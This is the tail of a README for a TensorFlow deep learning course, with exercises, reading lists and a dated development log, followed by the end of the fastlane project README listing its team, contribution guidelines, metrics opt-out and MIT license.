place? ### 📖 07. Milestone Project 1: 🍔👁 Food Vision Big™ Extra-curriculum * Read up on learning rate scheduling and the [learning rate scheduler callback](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/LearningRateScheduler). What is it? And how might it be helpful to this project? * Read up on TensorFlow data loaders ([improving TensorFlow data loading performance](https://www.tensorflow.org/guide/data_performance)). Is there anything we've missed? What methods you keep in mind whenever loading data in TensorFlow? Hint: check the summary at the bottom of the page for a great round up of ideas. * Read up on the documentation for [TensorFlow mixed precision training](https://www.tensorflow.org/guide/mixed_precision). What are the important things to keep in mind when using mixed precision training? --- ### 🛠 08. Introduction to NLP (Natural Language Processing) in TensorFlow Exercises 1. Rebuild, compile and train `model_1`, `model_2` and `model_5` using the [Keras Sequential API](https://www.tensorflow.org/api_docs/python/tf/keras/Sequential) instead of the Functional API. 2. Retrain the baseline model with 10% of the training data. How does perform compared to the Universal Sentence Encoder model with 10% of the training data? 3. Try fine-tuning the TF Hub Universal Sentence Encoder model by setting `training=True` when instantiating it as a Keras layer. ``` # We can use this encoding layer in place of our text_vectorizer and embedding layer sentence_encoder_layer = hub.KerasLayer("https://tfhub.dev/google/universal-sentence-encoder/4", input_shape=[], dtype=tf.string, trainable=True) # turn training on to fine-tune the TensorFlow Hub model ``` 4. Retrain the best model you've got so far on the whole training set (no validation split). Then use this trained model to make predictions on the test dataset and format the predictions into the same format as the `sample_submission.csv` file from Kaggle (see the Files tab in Colab for what the `sample_submission.csv` file looks like). Once you've done this, [make a submission to the Kaggle competition](https://www.kaggle.com/c/nlp-getting-started/data), how did your model perform? 5. Combine the ensemble predictions using the majority vote (mode), how does this perform compare to averaging the prediction probabilities of each model? 6. Make a confusion matrix with the best performing model's predictions on the validation set and the validation ground truth labels. ### 📖 08. Introduction to NLP (Natural Language Processing) in TensorFlow Extra-curriculum To practice what you've learned, a good idea would be to spend an hour on 3 of the following (3-hours total, you could through them all if you want) and then write a blog post about what you've learned. * For an overview of the different problems within NLP and how to solve them read through: * [A Simple Introduction to Natural Language Processing](https://becominghuman.ai/a-simple-introduction-to-natural-language-processing-ea66a1747b32) * [How to solve 90% of NLP problems: a step-by-step guide](https://blog.insightdatascience.com/how-to-solve-90-of-nlp-problems-a-step-by-step-guide-fda605278e4e) * Go through [MIT's Recurrent Neural Networks lecture](https://youtu.be/SEnXr6v2ifU). This will be one of the greatest additions to what's happening behind the RNN model's you've been building. * Read through the [word embeddings page on the TensorFlow website](https://www.tensorflow.org/tutorials/text/word_embeddings). Embeddings are such a large part of NLP. We've covered them throughout this notebook but extra practice would be well worth it. A good exercise would be to write out all the code in the guide in a new notebook. * For more on RNN's in TensorFlow, read and reproduce [the TensorFlow RNN guide](https://www.tensorflow.org/guide/keras/rnn). We've covered many of the concepts in this guide, but it's worth writing the code again for yourself. * Text data doesn't always come in a nice package like the data we've downloaded. So if you're after more on preparing different text sources for being with your TensorFlow deep learning models, it's worth checking out the following: * [TensorFlow text loading tutorial](https://www.tensorflow.org/tutorials/load_data/text). * [Reading text files with Python](https://realpython.com/read-write-files-python/) by Real Python. * This notebook has focused on writing NLP code. For a mathematically rich overview of how NLP with Deep Learning happens, read [Stanford's Natural Language Processing with Deep Learning lecture notes Part 1](https://web.stanford.edu/class/cs224n/readings/cs224n-2019-notes01-wordvecs1.pdf). * For an even deeper dive, you could even do the whole [CS224n](http://web.stanford.edu/class/cs224n/) (Natural Language Processing with Deep Learning) course. * Great blog posts to read: * Andrei Karpathy's [The Unreasonable Effectiveness of RNNs](https://karpathy.github.io/2015/05/21/rnn-effectiveness/) dives into generating Shakespeare text with RNNs. * [Text Classification with NLP: Tf-Idf vs Word2Vec vs BERT](https://towardsdatascience.com/text-classification-with-nlp-tf-idf-vs-word2vec-vs-bert-41ff868d1794) by Mauro Di Pietro. An overview of different techniques for turning text into numbers and then classifying it. * [What are word embeddings?](https://machinelearningmastery.com/what-are-word-embeddings/) by Machine Learning Mastery. * Other topics worth looking into: * [Attention mechanisms](https://jalammar.github.io/visualizing-neural-machine-translation-mechanics-of-seq2seq-models-with-attention/). These are a foundational component of the transformer architecture and also often add improvements to deep NLP models. * [Transformer architectures](http://jalammar.github.io/illustrated-transformer/). This model architecture has recently taken the NLP world by storm, achieving state of the art on many benchmarks. However, it does take a little more processing to get off the ground, the [HuggingFace Models (formerly HuggingFace Transformers) library](https://huggingface.co./models/) is probably your best quick start. --- ### 🛠 09. Milestone Project 2: SkimLit 📄🔥 Exercises 1. Train `model_5` on all of the data in the training dataset for as many epochs until it stops improving. Since this might take a while, you might want to use: * [`tf.keras.callbacks.ModelCheckpoint`](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/ModelCheckpoint) to save the model's best weights only. * [`tf.keras.callbacks.EarlyStopping`](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/EarlyStopping) to stop the model from training once the validation loss has stopped improving for ~3 epochs. 2. Checkout the [Keras guide on using pretrained GloVe embeddings](https://keras.io/examples/nlp/pretrained_word_embeddings/). Can you get this working with one of our models? * Hint: You'll want to incorporate it with a custom token [Embedding](https://www.tensorflow.org/api_docs/python/tf/keras/layers/Embedding) layer. * It's up to you whether or not you fine-tune the GloVe embeddings or leave them frozen. 3. Try replacing the TensorFlow Hub Universal Sentence Encoder pretrained embedding for the [TensorFlow Hub BERT PubMed expert](https://tfhub.dev/google/experts/bert/pubmed/2) (a language model pretrained on PubMed texts) pretrained embedding. Does this effect results? * Note: Using the BERT PubMed expert pretrained embedding requires an extra preprocessing step for sequences (as detailed in the [TensorFlow Hub guide](https://tfhub.dev/google/experts/bert/pubmed/2)). * Does the BERT model beat the results mentioned in this paper? https://arxiv.org/pdf/1710.06071.pdf 4. What happens if you were to merge our `line_number` and `total_lines` features for each sequence? For example, created a `X_of_Y` feature instead? Does this effect model performance? * Another example: `line_number=1` and `total_lines=11` turns into `line_of_X=1_of_11`. 5. Write a function (or series of functions) to take a sample abstract string, preprocess it (in the same way our model has been trained), make a prediction on each sequence in the abstract and return the abstract in the format: * `PREDICTED_LABEL`: `SEQUENCE` * `PREDICTED_LABEL`: `SEQUENCE` * `PREDICTED_LABEL`: `SEQUENCE` * `PREDICTED_LABEL`: `SEQUENCE` * ... * You can find your own unstructured RCT abstract from PubMed or try this one from: [*Baclofen promotes alcohol abstinence in alcohol dependent cirrhotic patients with hepatitis C virus (HCV) infection*](https://pubmed.ncbi.nlm.nih.gov/22244707/). ### 📖 09. Milestone Project 2: SkimLit 📄🔥 Extra-curriculum * For more on working with text/spaCy, see [spaCy's advanced NLP course](https://course.spacy.io/en/). If you're going to be working on production-level NLP problems, you'll probably end up using spaCy. * For another look at how to approach a text classification problem like the one we've just gone through, I'd suggest going through [Google's Machine Learning Course for text classification](https://developers.google.com/machine-learning/guides/text-classification). * Since our dataset has imbalanced classes (as with many real-world datasets), so it might be worth looking into the [TensorFlow guide for different methods to training a model with imbalanced classes](https://www.tensorflow.org/tutorials/structured_data/imbalanced_data). --- ### 🛠 10. Time series fundamentals and Milestone Project 3: BitPredict 💰📈 Exercises 1. Does scaling the data help for univariate/multivariate data? (e.g. getting all of the values between 0 & 1) * Try doing this for a univariate model (e.g. `model_1`) and a multivariate model (e.g. `model_6`) and see if it effects model training or evaluation results. 2. Get the most up to date data on Bitcoin, train a model & see how it goes (our data goes up to May 18 2021). * You can download the Bitcoin historical data for free from [coindesk.com/price/bitcoin](https://www.coindesk.com/price/bitcoin) and clicking "Export Data" -> "CSV". 3. For most of our models we used `WINDOW_SIZE=7`, but is there a better window size? * Setup a series of experiments to find whether or not there's a better window size. * For example, you might train 10 different models with `HORIZON=1` but with window sizes ranging from 2-12. 4. Create a windowed dataset just like the ones we used for `model_1` using [`tf.keras.preprocessing.timeseries_dataset_from_array()`](https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/timeseries_dataset_from_array) and retrain `model_1` using the recreated dataset. 5. For our multivariate modelling experiment, we added the Bitcoin block reward size as an extra feature to make our time series multivariate. * Are there any other features you think you could add? * If so, try it out, how do these affect the model? 6. Make prediction intervals for future forecasts. To do so, one way would be to train an ensemble model on all of the data, make future forecasts with it and calculate the prediction intervals of the ensemble just like we did for `model_8`. 7. For future predictions, try to make a prediction, retrain a model on the predictions, make a prediction, retrain a model, make a prediction, retrain a model, make a prediction (retrain a model each time a new prediction is made). Plot the results, how do they look compared to the future predictions where a model wasn't retrained for every forecast (`model_9`)? 8. Throughout this notebook, we've only tried algorithms we've handcrafted ourselves. But it's worth seeing how a purpose built forecasting algorithm goes. * Try out one of the extra algorithms listed in the modelling experiments part such as: * [Facebook's Kats library](https://github.com/facebookresearch/Kats) - there are many models in here, remember the machine learning practioner's motto: experiment, experiment, experiment. * [LinkedIn's Greykite library](https://github.com/linkedin/greykite) ### 📖 10. Time series fundamentals and Milestone Project 3: BitPredict 💰📈 Extra-curriculum We've only really scratched the surface with time series forecasting and time series modelling in general. But the good news is, you've got plenty of hands-on coding experience with it already. If you'd like to dig deeper in to the world of time series, I'd recommend the following: * [Forecasting: Principles and Practice](https://otexts.com/fpp3/) is an outstanding online textbook which discusses at length many of the most important concepts in time series forecasting. I'd especially recommend reading at least Chapter 1 in full. * I'd definitely recommend at least checking out chapter 1 as well as the chapter on forecasting accuracy measures. * 🎥 [Introduction to machine learning and time series](https://youtu.be/wqQKFu41FIw) by Markus Loning goes through different time series problems and how to approach them. It focuses on using the `sktime` library (Scikit-Learn for time series), though the principles are applicable elsewhere. * [*Why you should care about the Nate Silver vs. Nassim Taleb Twitter war*](https://towardsdatascience.com/why-you-should-care-about-the-nate-silver-vs-nassim-taleb-twitter-war-a581dce1f5fc) by Isaac Faber is an outstanding discussion insight into the role of uncertainty in the example of election prediction. * [TensorFlow time series tutorial](https://www.tensorflow.org/tutorials/structured_data/time_series) - A tutorial on using TensorFlow to forecast weather time series data with TensorFlow. * 📕 [*The Black Swan*](https://en.wikipedia.org/wiki/The_Black_Swan:_The_Impact_of_the_Highly_Improbable) by Nassim Nicholas Taleb - Nassim Taleb was a pit trader (a trader who trades on their own behalf) for 25 years, this book compiles many of the lessons he learned from first-hand experience. It changed my whole perspective on our ability to predict. * [*3 facts about time series forecasting that surprise experienced machine learning practitioners*](https://towardsdatascience.com/3-facts-about-time-series-forecasting-that-surprise-experienced-machine-learning-practitioners-69c18ee89387) by Skander Hannachi, Ph.D - time series data is different to other kinds of data, if you've worked on other kinds of machine learning problems before, getting into time series might require some adjustments, Hannachi outlines 3 of the most common. * 🎥 World-class lectures by Jordan Kern, watching these will take you from 0 to 1 with time series problems: * [Time Series Analysis](https://youtu.be/Prpu_U5tKkE) - how to analyse time series data. * [Time Series Modelling](https://www.youtube.com/watch?v=s3XH7fTHMb4) - different techniques for modelling time series data (many of which aren't deep learning). --- ### 🛠 11. Passing the TensorFlow Developer Certification Exercises **Preparing your brain** 1. Read through the [TensorFlow Developer Certificate Candidate Handbook](https://www.tensorflow.org/extras/cert/TF_Certificate_Candidate_Handbook.pdf). 2. Go through the Skills checklist section of the TensorFlow Developer Certification Candidate Handbook and create a notebook which covers all of the skills required, write code for each of these (this notebook can be used as a point of reference during the exam).  *Example of mapping the Skills checklist section of the TensorFlow Developer Certification Candidate handbook to a notebook.* **Prearing your computer** 1. Go through the [PyCharm quick start](https://www.jetbrains.com/pycharm/learning-center/) tutorials to make sure you're familiar with PyCharm (the exam uses PyCharm, you can download the free version). 2. Read through and follow the suggested steps in the [setting up for the TensorFlow Developer Certificate Exam guide](https://www.tensorflow.org/extras/cert/Setting_Up_TF_Developer_Certificate_Exam.pdf). 3. After going through (2), go into PyCharm and make sure you can train a model in TensorFlow. The model and dataset in the example `image_classification_test.py` [script on GitHub](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/extras/image_classification_test.py) should be enough. If you can train and save the model in under 5-10 minutes, your computer will be powerful enough to train the models in the exam. - Make sure you've got experience running models locally in PyCharm before taking the exam. Google Colab (what we used through the course) is a little different to PyCharm.  *Before taking the exam make sure you can run TensorFlow code on your local machine in PyCharm. If the [example `image_class_test.py` script](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/extras/image_classification_test.py) can run completely in under 5-10 minutes on your local machine, your local machine can handle the exam (if not, you can use Google Colab to train, save and download models to submit for the exam).* ### 📖 11. Passing the TensorFlow Developer Certification Extra-curriculum If you'd like some extra materials to go through to further your skills with TensorFlow and deep learning in general or to prepare more for the exam, I'd highly recommend the following: * 📄 **Read:** [How I got TensorFlow Developer Certified (and how you can too)](https://www.mrdbourke.com/how-i-got-tensorflow-developer-certified/) * 🎥 **Watch:** [How I passed the TensorFlow Developer Certification exam (and how you can too)](https://youtu.be/ya5NwvKafDk) * Go through the [TensorFlow in Practice Specialization on Coursera](https://dbourke.link/tfinpractice) * Read through the second half of [Hands-On Machine Learning with Scikit-Learn, Keras & TensorFlow 2nd Edition](https://amzn.to/3aYexF2) ## What this course is missing Deep learning is a broad topic. So this course doesn't cover it all. Here are some of the main topics you might want to look into next: * Transformers (the neural network architecture taking the NLP world by storm) * Multi-modal models (models which use more than one data source such as text & images) * Reinforcement learning * Unsupervised learning ## Extensions (possible places to go after the course) * [Neural Networks and Deep Learning Book](http://neuralnetworksanddeeplearning.com/) by Michael Nielsen - If the Zero to Mastery TensorFlow for Deep Learning course is top down, this book is bottom up. A fantastic resource to sandwich your knowledge. * [Deeplearning.AI specializations](https://www.deeplearning.ai) - The ZTM TensorFLow course focuses on code-first, the deeplearning.ai specializations will teach you what's going on behind the code. * [Hands-on Machine Learning with Scikit-Learn, Keras and TensorFlow Book](https://www.oreilly.com/library/view/hands-on-machine-learning/9781492032632/) (especially the 2nd half) - Many of the materials in this course were inspired by and guided by the pages of this beautiful text book. * [Full Stack Deep Learning](https://fullstackdeeplearning.com) - Learn how to turn your models into machine learning-powered applications. * [Made with ML MLOps materials](https://madewithml.com/#mlops) - Similar to Full Stack Deep Learning but comprised into many small lessons around all the pieces of the puzzle (data collection, labelling, deployment and more) required to build a full-stack machine learning-powered application. * [fast.ai Curriculum](https://www.fast.ai) - One of the best (and free) AI/deep learning courses online. Enough said. * ["How does a beginner data scientist like me gain experience?"](https://www.mrdbourke.com/how-can-a-beginner-data-scientist-like-me-gain-experience/) by Daniel Bourke - Read this on how to get experience for a job after studying online/at unveristy (start the job before you have it). ## Ask questions Contact [Daniel Bourke](mailto:[email protected]) or [add a discussion](https://github.com/mrdbourke/tensorflow-deep-learning/discussions) (preferred). ## Status As of: 12 May 2023 Course completed! 🕺 Any further updates/changes will be added below. ## Log * 12 May 2023 - update several course notebooks for latest version of TensorFlow, several API updates for Notebook 05 here: https://github.com/mrdbourke/tensorflow-deep-learning/discussions/547 * 02 Dec 2021 - add fix for TensorFlow 2.7 to notebook 02 * 11 Nov 2021 - add fix for TensorFlow 2.7 to notebook 01 * 14 Aug 2021 - added a discussion with TensorFlow 2.6 updates and EfficientNetV2 notes: https://github.com/mrdbourke/tensorflow-deep-learning/discussions/166 * 16 Jul 2021 - added 35 videos to ZTM Academy + Udemy versions of the course for time series and how to pass TensorFlow Developer Certification * 10 Jul 2021 - added 29 edited time series videos to ZTM Academy + Udemy versions of the course, more to come soon * 07 Jul 2021 - recorded 5 videos for passing TensorFlow Developer Certification exam section - ALL VIDEOS FOR COURSE DONE!!! time to edit/upload! 🎉 * 06 Jul 2021 - added guide to TensorFlow Certification Exam: https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/11_passing_the_tensorflow_developer_certification_exam.md - going to record videos for it tomorrow * 05 Jul 2021 - making materials for TF certification exam (what/why/how) * 02 Jul 2021 - FINISHED RECORDING VIDEOS FOR TIME SERIES SECTION!!!!! time to upload * 30 Jun 2021 - recorded 12 videos for time series section, total heading past 60 (the biggest section yet), nearly done!!! * 29 Jun 2021 - recorded 10 videos for time series section, total heading towards 60 * 28 Jun 2021 - recorded 10 videos for time series section, the line below says 40 videos total, actually more like 50 * 26 Jun 2021 - recorded 4 videos for time series section, looks like it'll be about 40 videos total * 25 Jun 2021 - recorded 8 videos for time series section + fixed a bunch of typos in time series notebook * 24 Jun 2021 - recorded 14 videos for time series section, more to come tomorrow * 23 Jun 2021 - finished adding images to time series notebook, now to start video recording * 22 Jun 2021 - added a bunch of images to the time series notebook/started making slides * 21 Jun 2021 - code for time series notebook is done, now creating slides/images to prepare for recording * 19 Jun 2021 - turned curriculum into an online book, you can read it here: https://dev.mrdbourke.com/tensorflow-deep-learning/ * 18 Jun 2021 - add exercises/extra-curriculum/outline to time series notebook * 17 Jun 2021 - add annotations for turkey problem and model comparison in time series notebook, next is outline/images * 16 Jun 2021 - add annotations for uncertainty and future predictions in time series notebook, next is turkey problem * 14 Jun 2021 - add annotations for ensembling, begin on prediction intervals * 10 Jun 2021 - finished annotations for N-BEATS algorithm, now onto ensembling/prediction intervals * 9 Jun 2021 - add annotations for N-BEATS algorithm implementation for time series notebook * 8 Jun 2021 - add annotations to time series notebook, all will be finished by end of week (failed) * 4 Jun 2021 - more annotation updates to time series notebook, brick by brick! * 3 Jun 2021 - added a bunch of annotations/explanations to time series notebook, momentum building, plenty more to come! * 2 Jun 2021 - started adding annotations explaining the code + resources to learn more, will continue for next few days * 1 Jun 2021 - added turkey problem to time series notebook, cleaned up a bunch of code, draft code is ready, now to write annotations/explanations * 28 May 2021 - added future forecasts, added ensemble model, added prediction intervals to time series notebook * 25 May 2021 - added multivariate time series to time series notebook, fix LSTM model, next we add TensorFlow windowing/experimenting with window sizes * 24 May 2021 - fixed broken preprocessing function in time series notebook, LSTM model is broken, more material to come * 20 May 2021 - more time series material creation * 19 May 2021 - more time series material creation, streaming much of it live on Twitch - https://twitch.tv/mrdbourke * 18 May 2021 - added time series forecasting notebook outline ([notebook 10](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/10_time_series_forecasting_in_tensorflow.ipynb)), going to really start ramping up the materials here * 12 May 2021 - all videos for 09 have now been released on Udemy & ZTM!!! enjoy build SkimLit 📄🔥 * 11 May 2021 - 40+ section 08 & 09 videos released on Udemy & ZTM!!! * 10 May 2021 - time series materials research + preparation * 08 May 2021 - time series materials research + preparation * 05 May 2021 - ~20+ videos edited for 08, ~10+ videos edited for 09, time series materials in 1st draft mode * 04 May 2021 - fixed the remaining videos for 08 (audio missing), now onto making time series materials! * 03 May 2021 - rerecorded 10 videos for 08 fixing the sound isse, these are going straight to editing and should be uploaded by end of week * 02 May 2021 - found an issue with videos 09-20 of section 08 (no audio), going to rerecord them * 29 Apr 2021 - 🚀🚀🚀 launched on Udemy!!! 🚀🚀🚀 * 22 Apr 2021 - finished recording videos for 09! added slides and video notebook 09 * 21 Apr 2021 - recorded 14 videos for 09! biggggg day of recording! getting closer to finishing 09 * 20 Apr 2021 - recorded 10 videos for 09 * 19 Apr 2021 - recorded 9 videos for 09 * 16 Apr 2021 - slides done for 09, ready to start recording! * 15 Apr 2021 - added slides, extra-curriculum, exercises and video notebook for 08, started making slides for 09, will finish tomorrow * 14 Apr 2021 - recorded 12 videos for notebook 08, finished the section! time to make slides for 09 and get into it * 10 Apr 2021 - recorded 4 videos for notebook 08 * 9 Apr 2021 - recorded 6 videos for notebook 08 * 8 Apr 2021 - recorded 10 videos for notebook 08! more coming tomorrow! home stretch baby!!! * 7 Apr 2021 - added a whole bunch of images to notebook 08, getting ready for recording tomorrow! * 1 Apr 2021 - added [notebook 09: SkimLit](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/09_SkimLit_nlp_milestone_project_2.ipynb), almost finished, a little cleaning and we'll be ready for slide making! * 31 Mar 2021 - added notebook 08, going to finish tomorrow, then onto 09! * 24 Mar 2021 - Recorded 8 videos for 07, finished! onto materials (slides/notebooks) for 08, 09 * 23 Mar 2021 - Recorded 6 videos for 07 (finally), going to finish tomorrow * 22 Mar 2021 - Polished notebook 07 ready for recording, made slides for 07, added template for 07 (for a student to go through and practice), ready to record! * 17 Mar 2021 - 99% finished notebook 07, added links to first 14 hours of the course on YouTube ([10 hours in part 1](https://youtu.be/tpCFfeUEGs8), [4 hours in part 2](https://youtu.be/ZUKz4125WNI)) * 11 Mar 2021 - added even more text annotations to notebook 07, finishing tomorrow, then slides * 10 Mar 2021 - Typed a whole bunch of explanations into notebook 07, continuing tomorrow * 09 Mar 2021 - fixed plenty of code in notebook 07, should run end to end very cleanly (though loading times are still a thing) * 05 Mar 2021 - added draft notebook 07 (heaps of data loading and model training improvements in this one!), gonna fix up over next few days * 01 Mar 2021 - Added slides for 06 ([see them here](https://github.com/mrdbourke/tensorflow-deep-learning/blob/main/slides/06_transfer_learning_with_tensorflow_part_3_scaling_up.pdf)) * 26 Feb 2021 - 🚀 LAUNCHED!!!!! also finished recording videos for 06, onto 07, 08, 09 for next release * 24 Feb 2021 - recorded 9 videos for section 06, launch inbound!!! * 23 Feb 2021 - rearranged GitHub in preparation for launch 🚀 * 18 Feb 2021 - recorded 8 videos for 05 and... it's done! onto polishing the GitHub * 17 Feb 2021 - recorded 10 videos for 05! going to finish tomorrow 🚀 * 16 Feb 2021 - polished slides for 05 and started recording videos, got 7 videos done for 05 * 15 Feb 2021 - finished videos for 04, now preparing to record for 05! * 12 Feb 2021 - recored 7 videos for section 04... wanted 10 but we'll take 7 (🤔 this seems to have happened before) * 11 Feb 2021 - NO PROGRESS - gave a Machine Learning deployment tutorial for [Stanford's CS329s](https://stanford-cs329s.github.io/syllabus.html) (using the model code from this course!!!) - [see the full tutorial materials](https://github.com/mrdbourke/cs329s-ml-deployment-tutorial) * 08 Feb 2021 - recorded 10 videos for section 03... and section 03 is done! 🚀 onto section 04 * 30 Jan 2021 - 07 Feb 2021: NO PROGRESS (working on a ML deployment lecture for [Stanford's CS329s](https://stanford-cs329s.github.io/syllabus.html)... more on this later) * 29 Jan 2021 - recorded 9 videos for section 03... closer to 10 than yesterday but still not there * 28 Jan 2021 - recorded 7 videos for section 03... wanted 10 but we'll take 7 * 27 Jan 2021 - recorded 10 videos for section 03 * 26 Jan 2021 - polished GitHub README (what you're looking at) with a [nice table](https://github.com/mrdbourke/tensorflow-deep-learning#course-materials) * 23 Jan 2021 - finished slides of 06 * 22 Jan 2021 - finished review of notebook 06 & started slides of 06 * 21 Jan 2021 - finished slides for 05 & started review of 06 * 20 Jan 2021 - finished notebook 05 & 95% slides for 05 * 19 Jan 2021 - found a storage idea for data during course (use Google Storage in same region as Colab Notebooks, cheapest/fastest) * 18 Jan 2021 - reviewed notebook 05 & slides for 05 * 17 Jan 2021 - finished notebook 04 & slides for 04 * 16 Jan 2021 - review notebook 04 & made slides for transfer learning * 13 Jan 2021 - review notebook 03 again & finished slides for 03, BIGGGGG updates to the README, notebook 03 99% done, just need to figure out optimum way to transfer data (e.g. when a student downloads it, where's best to store it in the meantime? Dropbox? S3? ~~GS~~ (too expensive) * 11 Jan 2021 - reviewed notebook 03, 95% ready for recording, onto slides for 03 * 9 Jan 2021 - I'm back baby! Finished all videos for 02, now onto slides/materials for 03, 04, 05 (then I'll get back in the lab) * 19 Dec 2020 - ON HOLD (family holiday until Jan 02 2021) * 18 Dec 2020 - recorded 75% of videos for 02 * 17 Dec 2020 - recorded 50% of videos for 02 * 16 Dec 2020 - recorded 100% of videos for 01 * 15 Dec 2020 - recorded 90% of videos for 01 * 09 Dec 2020 - finished recording videos for 00 * 08 Dec 2020 - recorded 90% of videos for 00 * 05 Dec 2020 - trialled recording studio for ~6 videos with notebook 00 material * 04 Dec 2020 - setup [recording studio in closet](https://raw.githubusercontent.com/mrdbourke/tensorflow-deep-learning/main/images/misc-studio-setup.jpeg) * 03 Dec 2020 - finished notebook 02, finished slides for 02, time to setup recording studio * 02 Dec 2020 - notebook 02 95% done, slides for 02 90% done * 01 Dec 2020 - added notebook 02 (90% polished), start preparing slides for 02 * 27 Nov 2020 - polished notebook 01, made slides for notebook 01 * 26 Nov 2020 - polished notebook 00, made slides for notebook 00

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This enables us to quickly detect and fix regressions. ## _fastlane_ team <!-- This table is regenerated and resorted on each release --> <table id='team'> <tr> <td id='luka-mirosevic'> <a href='https://github.com/lmirosevic'> <img src='https://github.com/lmirosevic.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4> </td> <td id='jan-piotrowski'> <a href='https://github.com/janpio'> <img src='https://github.com/janpio.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4> </td> <td id='felix-krause'> <a href='https://github.com/KrauseFx'> <img src='https://github.com/KrauseFx.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4> </td> <td id='max-ott'> <a href='https://github.com/max-ott'> <img src='https://github.com/max-ott.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/ott_max'>Max Ott</a></h4> </td> <td id='matthew-ellis'> <a href='https://github.com/matthewellis'> <img src='https://github.com/matthewellis.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mellis1995'>Matthew Ellis</a></h4> </td> </tr> <tr> <td id='fumiya-nakamura'> <a href='https://github.com/nafu'> <img src='https://github.com/nafu.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/nafu003'>Fumiya Nakamura</a></h4> </td> <td id='jimmy-dee'> <a href='https://github.com/jdee'> <img src='https://github.com/jdee.png?size=140'> </a> <h4 align='center'>Jimmy Dee</h4> </td> <td id='stefan-natchev'> <a href='https://github.com/snatchev'> <img src='https://github.com/snatchev.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/snatchev'>Stefan Natchev</a></h4> </td> <td id='olivier-halligon'> <a href='https://github.com/AliSoftware'> <img src='https://github.com/AliSoftware.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4> </td> <td id='daniel-jankowski'> <a href='https://github.com/mollyIV'> <img src='https://github.com/mollyIV.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mollyIV'>Daniel Jankowski</a></h4> </td> </tr> <tr> <td id='joshua-liebowitz'> <a href='https://github.com/taquitos'> <img src='https://github.com/taquitos.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4> </td> <td id='kohki-miki'> <a href='https://github.com/giginet'> <img src='https://github.com/giginet.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4> </td> <td id='helmut-januschka'> <a href='https://github.com/hjanuschka'> <img src='https://github.com/hjanuschka.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4> </td> <td id='aaron-brager'> <a href='https://github.com/getaaron'> <img src='https://github.com/getaaron.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4> </td> <td id='jérôme-lacoste'> <a href='https://github.com/lacostej'> <img src='https://github.com/lacostej.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4> </td> </tr> <tr> <td id='josh-holtz'> <a href='https://github.com/joshdholtz'> <img src='https://github.com/joshdholtz.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4> </td> <td id='manu-wallner'> <a href='https://github.com/milch'> <img src='https://github.com/milch.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4> </td> <td id='jorge-revuelta-h'> <a href='https://github.com/minuscorp'> <img src='https://github.com/minuscorp.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4> </td> <td id='maksym-grebenets'> <a href='https://github.com/mgrebenets'> <img src='https://github.com/mgrebenets.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4> </td> <td id='andrew-mcburney'> <a href='https://github.com/armcburney'> <img src='https://github.com/armcburney.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4> </td> </tr> <tr> <td id='danielle-tomlinson'> <a href='https://github.com/endocrimes'> <img src='https://github.com/endocrimes.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/endocrimes'>Danielle Tomlinson</a></h4> </td> <td id='iulian-onofrei'> <a href='https://github.com/revolter'> <img src='https://github.com/revolter.png?size=140'> </a> <h4 align='center'><a href='https://twitter.com/Revolt666'>Iulian Onofrei</a></h4> </td> </table> Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_. ## Contribute to _fastlane_ Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_. ## Code of Conduct Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md). ## Metrics _fastlane_ tracks a few key metrics to understand how developers are using the tool and to help us know what areas need improvement. No personal/sensitive information is ever collected. Metrics that are collected include: * The number of _fastlane_ runs * A salted hash of the app identifier or package name, which helps us anonymously identify unique usage of _fastlane_ You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics) ## License This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file. > This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools. <hr /> <h2 align="center"> ✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨ </h2> <hr />

